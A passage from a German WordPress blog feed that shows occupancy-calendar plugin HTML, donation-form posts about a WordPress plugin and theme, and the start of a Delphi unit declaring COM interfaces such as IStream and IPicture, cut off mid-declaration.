            <td style="background-color: #e7ecf0;">11</td>
            <td style="background-color: #FF9C9C" title="belegt">12</td>
            <td style="background-color: #e7ecf0;">13</td>
            <td style="background-color: #e7ecf0;">14</td>
            <td style="background-color: #e7ecf0;">15</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">16</td>
            <td style="background-color: #e7ecf0;">17</td>
            <td style="background-color: #e7ecf0;">18</td>
            <td style="background-color: #FF9C9C" title="belegt">19</td>
            <td style="background-color: #e7ecf0;">20</td>
            <td style="background-color: #e7ecf0;">21</td>
            <td style="background-color: #e7ecf0;">22</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">23</td>
            <td style="background-color: #e7ecf0;">24</td>
            <td style="background-color: #e7ecf0;">25</td>
            <td style="background-color: #FF9C9C" title="belegt">26</td>
            <td style="background-color: #e7ecf0;">27</td>
            <td style="background-color: #e7ecf0;">28</td>
            <td style="background-color: #e7ecf0;">29</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">30</td>
            <td style="background-color: #e7ecf0;">31</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
        </table>
      </td>
      <td>
        <table class="occupancy_kalender" style="border-color: #b7ccdf; background-color: #b7ccdf; color: #4B5D67; width: 100%;">
          <tr>
           <th colspan="7" style="background-color: #b7ccdf; color: #4B5D67; text-align: left;">August&nbsp;2012</th>
          </tr>
          <tr>
            <td style="background-color: #F7Fcf0;">Mo</td>
            <td style="background-color: #F7Fcf0;">Di</td>
            <td style="background-color: #F7Fcf0;">Mi</td>
            <td style="background-color: #F7Fcf0;">Do</td>
            <td style="background-color: #F7Fcf0;">Fr</td>
            <td style="background-color: #F7Fcf0;">Sa</td>
            <td style="background-color: #F7Fcf0; color: #ff0000;">So</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #e7ecf0;">01</td>
            <td style="background-color: #e7ecf0;">02</td>
            <td style="background-color: #e7ecf0;">03</td>
            <td style="background-color: #e7ecf0;">04</td>
            <td style="background-color: #e7ecf0;">05</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">06</td>
            <td style="background-color: #e7ecf0;">07</td>
            <td style="background-color: #e7ecf0;">08</td>
            <td style="background-color: #e7ecf0;">09</td>
            <td style="background-color: #e7ecf0;">10</td>
            <td style="background-color: #e7ecf0;">11</td>
            <td style="background-color: #e7ecf0;">12</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">13</td>
            <td style="background-color: #e7ecf0;">14</td>
            <td style="background-color: #e7ecf0;">15</td>
            <td style="background-color: #e7ecf0;">16</td>
            <td style="background-color: #e7ecf0;">17</td>
            <td style="background-color: #e7ecf0;">18</td>
            <td style="background-color: #e7ecf0;">19</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">20</td>
            <td style="background-color: #e7ecf0;">21</td>
            <td style="background-color: #e7ecf0;">22</td>
            <td style="background-color: #e7ecf0;">23</td>
            <td style="background-color: #e7ecf0;">24</td>
            <td style="background-color: #e7ecf0;">25</td>
            <td style="background-color: #e7ecf0;">26</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">27</td>
            <td style="background-color: #e7ecf0;">28</td>
            <td style="background-color: #FF9C9C" title="belegt">29</td>
            <td style="background-color: #FF9C9C" title="belegt">30</td>
            <td style="background-color: #FF9C9C" title="belegt">31</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td>
        <table class="occupancy_kalender" style="border-color: #b7ccdf; background-color: #b7ccdf; color: #4B5D67; width: 100%;">
          <tr>
           <th colspan="7" style="background-color: #b7ccdf; color: #4B5D67; text-align: left;">September&nbsp;2012</th>
          </tr>
          <tr>
            <td style="background-color: #F7Fcf0;">Mo</td>
            <td style="background-color: #F7Fcf0;">Di</td>
            <td style="background-color: #F7Fcf0;">Mi</td>
            <td style="background-color: #F7Fcf0;">Do</td>
            <td style="background-color: #F7Fcf0;">Fr</td>
            <td style="background-color: #F7Fcf0;">Sa</td>
            <td style="background-color: #F7Fcf0; color: #ff0000;">So</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #e7ecf0;">01</td>
            <td style="background-color: #e7ecf0;">02</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">03</td>
            <td style="background-color: #e7ecf0;">04</td>
            <td style="background-color: #e7ecf0;">05</td>
            <td style="background-color: #e7ecf0;">06</td>
            <td style="background-color: #e7ecf0;">07</td>
            <td style="background-color: #e7ecf0;">08</td>
            <td style="background-color: #e7ecf0;">09</td>
          </tr>
          <tr>
            <td style="background-color: #FF9C9C" title="belegt">10</td>
            <td style="background-color: #FF9C9C" title="belegt">11</td>
            <td style="background-color: #FF9C9C" title="belegt">12</td>
            <td style="background-color: #FF9C9C" title="belegt">13</td>
            <td style="background-color: #FF9C9C" title="belegt">14</td>
            <td style="background-color: #FF9C9C" title="belegt">15</td>
            <td style="background-color: #FF9C9C" title="belegt">16</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">17</td>
            <td style="background-color: #e7ecf0;">18</td>
            <td style="background-color: #e7ecf0;">19</td>
            <td style="background-color: #e7ecf0;">20</td>
            <td style="background-color: #e7ecf0;">21</td>
            <td style="background-color: #e7ecf0;">22</td>
            <td style="background-color: #e7ecf0;">23</td>
          </tr>
          <tr>
            <td style="background-color: #FF9C9C" title="belegt">24</td>
            <td style="background-color: #e7ecf0;">25</td>
            <td style="background-color: #e7ecf0;">26</td>
            <td style="background-color: #e7ecf0;">27</td>
            <td style="background-color: #e7ecf0;">28</td>
            <td style="background-color: #e7ecf0;">29</td>
            <td style="background-color: #FF9C9C" title="belegt">30</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
        </table>
      </td>
      <td>
        <table class="occupancy_kalender" style="border-color: #b7ccdf; background-color: #b7ccdf; color: #4B5D67; width: 100%;">
          <tr>
           <th colspan="7" style="background-color: #b7ccdf; color: #4B5D67; text-align: left;">Oktober&nbsp;2012</th>
          </tr>
          <tr>
            <td style="background-color: #F7Fcf0;">Mo</td>
            <td style="background-color: #F7Fcf0;">Di</td>
            <td style="background-color: #F7Fcf0;">Mi</td>
            <td style="background-color: #F7Fcf0;">Do</td>
            <td style="background-color: #F7Fcf0;">Fr</td>
            <td style="background-color: #F7Fcf0;">Sa</td>
            <td style="background-color: #F7Fcf0; color: #ff0000;">So</td>
          </tr>
          <tr>
            <td style="background-color: #FF9C9C;" title="belegt">01</td>
            <td style="background-color: #e7ecf0;">02</td>
            <td style="background-color: #e7ecf0;">03</td>
            <td style="background-color: #e7ecf0;">04</td>
            <td style="background-color: #e7ecf0;">05</td>
            <td style="background-color: #e7ecf0;">06</td>
            <td style="background-color: #e7ecf0;">07</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">08</td>
            <td style="background-color: #FF9C9C" title="belegt">09</td>
            <td style="background-color: #e7ecf0;">10</td>
            <td style="background-color: #e7ecf0;">11</td>
            <td style="background-color: #e7ecf0;">12</td>
            <td style="background-color: #e7ecf0;">13</td>
            <td style="background-color: #e7ecf0;">14</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">15</td>
            <td style="background-color: #e7ecf0;">16</td>
            <td style="background-color: #FF9C9C" title="belegt">17</td>
            <td style="background-color: #e7ecf0;">18</td>
            <td style="background-color: #e7ecf0;">19</td>
            <td style="background-color: #e7ecf0;">20</td>
            <td style="background-color: #e7ecf0;">21</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">22</td>
            <td style="background-color: #e7ecf0;">23</td>
            <td style="background-color: #e7ecf0;">24</td>
            <td style="background-color: #FF9C9C" title="belegt">25</td>
            <td style="background-color: #e7ecf0;">26</td>
            <td style="background-color: #e7ecf0;">27</td>
            <td style="background-color: #e7ecf0;">28</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">29</td>
            <td style="background-color: #FF9C9C" title="belegt">30</td>
            <td style="background-color: #FF9C9C" title="belegt">31</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
        </table>
      </td>
      </tr>
      <tr>
        <td colspan="2">
          <table class="unknown_" style="border-width: 0px 0px 0px 0px; border-spacing: 0px; border-style: none none none none;  border-collapse: separate; width: 100%; text-align: center; font-size: 7px;">
            <tr>
              <td>
&copy; 2009-2012 by Peter Welz <a href="http://www.gods4u.de/" target="_blank" title="Belegungsplan - Occupancyplan - Plugin f&uuml;r WordPress" alt="Belegungsplan Plugin f&uuml;r WordPress - Occupancyplan">Belegungsplan</a>&nbsp;&nbsp;<a href="http://www.ferienstrandwohnung.de" target="_blank" title="Ferien an der Ostsee" alt="ostssee ferienstrandwohnung ostseebadnienhagen">Ferienhaus</a>&nbsp;&nbsp;<a href="http://www.ostsee-fewo-nienhagen.de" target="_blank" title="ferienwohnung ostsee mecklenburg" alt="ostssee ferienwohnung mecklenburgn">Ostsee</a><a href="http://www.ostsee-villa-erika.de" target="_blank" title="ferienwohnung ostsee villa erika" alt="ostssee ferienwohnung villa erika ostseebadnienhagen"> Villa</a>
              </td>
            </tr>
          </table>
        </td>
      </tr>
      <tr>
        <td colspan="2">
          <table class="occupancy_btns" style="border-width: 0px 0px 0px 0px; border-spacing: 0px; border-style: none none none none;  border-collapse: separate; width: 100%;">
            <tr>
              <td style="text-align:left;">
      <form name="prev_next1" method="post" action="#occuplan1">
        <input class="button" type="submit" name="prev_cal" value="&lt;" />
        <input type="hidden" name="time_year" value="2011" />
        <input type="hidden" name="time_month" value="11" />
        <input type="hidden" name="time_oid" value="1" />
      </form>
              </td>
              <td style="text-align:right;">
      <form name="prev_next1" method="post" action="#occuplan1">
        <input type="hidden" name="time_year_next" value="2012" />
        <input type="hidden" name="time_month_next" value="11" />
        <input type="hidden" name="time_oid" value="1" />
        <input class="button" type="submit" name="next_cal" value="&gt;" />      </form>
              </td>
            </tr>
          </table>
        </td>
      </tr>
    </table>

<p>Da die erste Version des Plugins auf diese Seite zeigt, steht sie hier noch immer drinne. Wenn ich Kommentare zu diesem Plugin abgeben wollt, dann könnt ihr das gerne auf <a href="http://www.gods4u.de/wp-plugin-occupancyplan/" title="Komentare zum Plugin abgeben" target="_self">dieser Seite</a> machen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/wordpress-plugin-belegungplan-wp-occupancyplan/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Erstes WordPress Theme</title>
		<link>http://www.gods4u.de/erstes-wordpress-theme</link>
		<comments>http://www.gods4u.de/erstes-wordpress-theme#comments</comments>
		<pubDate>Fri, 03 Apr 2009 10:59:41 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[WP - Theme]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=84</guid>
		<description><![CDATA[In naher Zukunft möchten wir auch ein ersten Theme präsentieren. Gerne nehmen wir Eure Anregungen und Wünsche entgegen und versuchen so viel wie möglich davon zu berücksichtigen. Schreibt uns &#8211; Augen und Ihren sind offen!]]></description>
			<content:encoded><![CDATA[<p>In naher Zukunft möchten wir auch ein ersten Theme präsentieren. Gerne nehmen wir Eure Anregungen und Wünsche entgegen und versuchen so viel wie möglich davon zu berücksichtigen. Schreibt uns &#8211; Augen und Ihren sind offen!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick"/>
<input type="hidden" name="hosted_button_id" value="2E5QQTZEJ3QCY"/>
<input type="image" src="https://www.paypalobjects.com/de_DE/DE/i/btn/btn_donate_SM.gif" border="0" name="submit" alt="Jetzt einfach, schnell und sicher online bezahlen – mit PayPal."/>
<img alt="" border="0" src="https://www.paypalobjects.com/de_DE/i/scr/pixel.gif" width="1" height="1"/><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/erstes-wordpress-theme/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WP Plugin Belegungsplan</title>
		<link>http://www.gods4u.de/wp-plugin-occupancyplan</link>
		<comments>http://www.gods4u.de/wp-plugin-occupancyplan#comments</comments>
		<pubDate>Fri, 03 Apr 2009 10:56:35 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[WP - Plugin]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=82</guid>
		<description><![CDATA[Belegungsplan / Kalender / Buchungsübersicht &#8211; WP Plugin occupancyplan Für unser erstes unter GPL3 Licens gestelltes Plugin »occupancyplan«für das Blogsystem und CMS WordPress wollen wir natürlich so viele Anregungen wie nur irgend möglich bekommen. Deshalb geben wir Euch hier die Möglichkeiten, uns mit Lob und Kritik zu versorgen. Natürlich freuen wir uns auch über jede [...]]]></description>
			<content:encoded><![CDATA[<h3>Belegungsplan / Kalender / Buchungsübersicht &#8211; WP Plugin occupancyplan</h3>
<p>Für unser erstes unter GPL3 Licens gestelltes Plugin »<a title="wp plugin occupancyplan wordpress" href="http://www.gods4u.de/wordpress-plugin-belegungplan-wp-occupancyplan/" target="_self">occupancyplan</a>«für das Blogsystem und CMS WordPress wollen wir natürlich so viele Anregungen wie nur irgend möglich bekommen. Deshalb geben wir Euch hier die Möglichkeiten, uns mit Lob und Kritik zu versorgen. Natürlich freuen wir uns auch über jede neue Spende.</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick"/>
<input type="hidden" name="hosted_button_id" value="2E5QQTZEJ3QCY"/>
<input type="image" src="https://www.paypalobjects.com/de_DE/DE/i/btn/btn_donate_SM.gif" border="0" name="submit" alt="Jetzt einfach, schnell und sicher online bezahlen – mit PayPal."/>
<img alt="" border="0" src="https://www.paypalobjects.com/de_DE/i/scr/pixel.gif" width="1" height="1"/><br />
</form>
<h3>Hier geht es zum WP Plugin <span style="text-decoration: underline;"><a title="Download Plugin Occupancyplan" href="http://wordpress.org/extend/plugins/occupancyplan/" target="_blank">Download</a>!</span></h3>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/wp-plugin-occupancyplan/feed</wfw:commentRss>
		<slash:comments>169</slash:comments>
		</item>
		<item>
		<title>X000X-ActiveX.pas</title>
		<link>http://www.gods4u.de/x000x-activexpas</link>
		<comments>http://www.gods4u.de/x000x-activexpas#comments</comments>
		<pubDate>Fri, 03 Apr 2009 09:50:38 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=63</guid>
		<description><![CDATA[Delphi source Eine kleine Übersicht meiner bisherigen Delphi sourcen. Die alte Übersichtsseite ist noch online und steht hier: delphi source Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende &#8211; Danke! X000X-ActiveX.pas Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier: X000X-Btn.pas X000X-SysUtils.pas X000X-ActiveX.pas unit [...]]]></description>
			<content:encoded><![CDATA[<h3>Delphi source</h3>
<p>Eine kleine Übersicht meiner bisherigen Delphi sourcen. Die alte Übersichtsseite ist noch online und steht hier:</p>
<p><a title="delphiu source" href="http://delphi.gods4u.de/" target="_blank">delphi source</a></p>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick"/>
<input type="hidden" name="hosted_button_id" value="2E5QQTZEJ3QCY"/>
<input type="image" src="https://www.paypalobjects.com/de_DE/DE/i/btn/btn_donate_SM.gif" border="0" name="submit" alt="Jetzt einfach, schnell und sicher online bezahlen – mit PayPal."/>
<img alt="" border="0" src="https://www.paypalobjects.com/de_DE/i/scr/pixel.gif" width="1" height="1"/><br />
</form>
<h3>X000X-ActiveX.pas</h3>
<p><span id="more-63"></span></p>
<p>Ich habe hier mal ein paar ältere <a title="delphi source" href="http://gods4u.de" target="_self">Delphi sourcen</a> eingearbeitet. Die Originale findet Ihr immer noch hier:</p>
<p><span style="font-family: Courier New; color: #000000; font-size: small;"><a href="http://delphi.gods4u.de/X000XBtn.html">X000X-Btn.pas</a><br />
<a href="http://delphi.gods4u.de/X000XSysUtils.html">X000X-SysUtils.pas</a><br />
<a href="http://delphi.gods4u.de/X000XActiveX.html">X000X-ActiveX.pas</a></span></p>
<pre><span id="d3a1eded81a1_codebody" class="code">
<span style="font-family: Courier New; color: #000000; font-size: small;">
<strong><span style="color: #000080;">unit</span></strong> X<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">interface</span></strong>

<strong><span style="color: #000080;">uses</span></strong> Windows<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">type</span></strong>
  OLE_HANDLE <span style="color: #000000;">=</span> LongWord<span style="color: #000000;">;</span>
  OLE_XPOS_HIMETRIC  <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  OLE_YPOS_HIMETRIC  <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  OLE_XSIZE_HIMETRIC <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  OLE_YSIZE_HIMETRIC <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  Largeint <span style="color: #000000;">=</span> Int64;
  POleStr <span style="color: #000000;">=</span> PWideChar<span style="color: #000000;">;</span>
  TIID <span style="color: #000000;">=</span> TGUID<span style="color: #000000;">;</span>
  TCLSID <span style="color: #000000;">=</span> TGUID<span style="color: #000000;">;</span>

  IStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong><span style="color: #000000;">;</span>

<em><span style="color: #477ab8;">{ IStream interface }</span></em>

  PStatStg <span style="color: #000000;">=</span> <span style="color: #000000;">^</span>TStatStg<span style="color: #000000;">;</span>
  tagSTATSTG <span style="color: #000000;">=</span> <strong><span style="color: #000080;">record</span></strong>
    pwcsName<span style="color: #000000;">:</span> POleStr<span style="color: #000000;">;</span>
    dwType<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    cbSize<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
    mtime<span style="color: #000000;">:</span> TFileTime<span style="color: #000000;">;</span>
    ctime<span style="color: #000000;">:</span> TFileTime<span style="color: #000000;">;</span>
    atime<span style="color: #000000;">:</span> TFileTime<span style="color: #000000;">;</span>
    grfMode<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    grfLocksSupported<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    clsid<span style="color: #000000;">:</span> TCLSID<span style="color: #000000;">;</span>
    grfStateBits<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    reserved<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
  TStatStg <span style="color: #000000;">=</span> tagSTATSTG<span style="color: #000000;">;</span>
  STATSTG <span style="color: #000000;">=</span> TStatStg<span style="color: #000000;">;</span>

  ISequentialStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong><span style="color: #000000;">(</span>IUnknown<span style="color: #000000;">)</span>
    <span style="color: #000000;">[</span><span style="color: #000080;">'{0c733a30-2a1c-11ce-ade5-00aa0044773d}'</span><span style="color: #000000;">]</span>
    <strong><span style="color: #000080;">function</span></strong> <strong><span style="color: #000080;">Read</span></strong><span style="color: #000000;">(</span>pv<span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span> pcbRead<span style="color: #000000;">:</span> PLongint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> <strong><span style="color: #000080;">Write</span></strong><span style="color: #000000;">(</span>pv<span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span> pcbWritten<span style="color: #000000;">:</span> PLongint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

  IStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong><span style="color: #000000;">(</span>ISequentialStream<span style="color: #000000;">)</span>
    <span style="color: #000000;">[</span><span style="color: #000080;">'{0000000C-0000-0000-C000-000000000046}'</span><span style="color: #000000;">]</span>
    <strong><span style="color: #000080;">function</span></strong> Seek<span style="color: #000000;">(</span>dlibMove<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> dwOrigin<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">out</span></strong> libNewPosition<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> SetSize<span style="color: #000000;">(</span>libNewSize<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> CopyTo<span style="color: #000000;">(</span>stm<span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> <strong><span style="color: #000080;">out</span></strong> cbRead<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">out</span></strong> cbWritten<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Commit<span style="color: #000000;">(</span>grfCommitFlags<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Revert<span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> LockRegion<span style="color: #000000;">(</span>libOffset<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
      dwLockType<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> UnlockRegion<span style="color: #000000;">(</span>libOffset<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
      dwLockType<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Stat<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> statstg<span style="color: #000000;">:</span> TStatStg<span style="color: #000000;">;</span> grfStatFlag<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Clone<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> stm<span style="color: #000000;">:</span> IStream<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">type</span></strong>
  IPicture <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong>
    <span style="color: #000000;">[</span><span style="color: #000080;">'{7BF80980-BF32-101A-8BBB-00AA00300CAB}'</span><span style="color: #000000;">]</span>
    <strong><span style="color: #000080;">function</span></strong> get_Handle<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> handle<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>  <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_hPal<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> handle<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Type<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> typ<span style="color: #000000;">:</span> Smallint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Width<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> width<span style="color: #000000;">:</span> OLE_XSIZE_HIMETRIC<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Height<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> height<span style="color: #000000;">:</span> OLE_YSIZE_HIMETRIC<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Render<span style="color: #000000;">(</span>dc<span style="color: #000000;">:</span> HDC<span style="color: #000000;">;</span> x<span style="color: #000000;">,</span> y<span style="color: #000000;">,</span> cx<span style="color: #000000;">,</span> cy<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
      xSrc<span style="color: #000000;">:</span> OLE_XPOS_HIMETRIC<span style="color: #000000;">;</span> ySrc<span style="color: #000000;">:</span> OLE_YPOS_HIMETRIC<span style="color: #000000;">;</span>
      cxSrc<span style="color: #000000;">:</span> OLE_XSIZE_HIMETRIC<span style="color: #000000;">;</span> cySrc<span style="color: #000000;">:</span> OLE_YSIZE_HIMETRIC<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">const</span></strong> rcWBounds<span style="color: #000000;">:</span> TRect<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> set_hPal<span style="color: #000000;">(</span>hpal<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_CurDC<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> dcOut<span style="color: #000000;">:</span> HDC<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> SelectPicture<span style="color: #000000;">(</span>dcIn<span style="color: #000000;">:</span> HDC<span style="color: #000000;">;</span> <strong><span style="color: #000080;">out</span></strong> hdcOut<span style="color: #000000;">:</span> HDC<span style="color: #000000;">;</span>
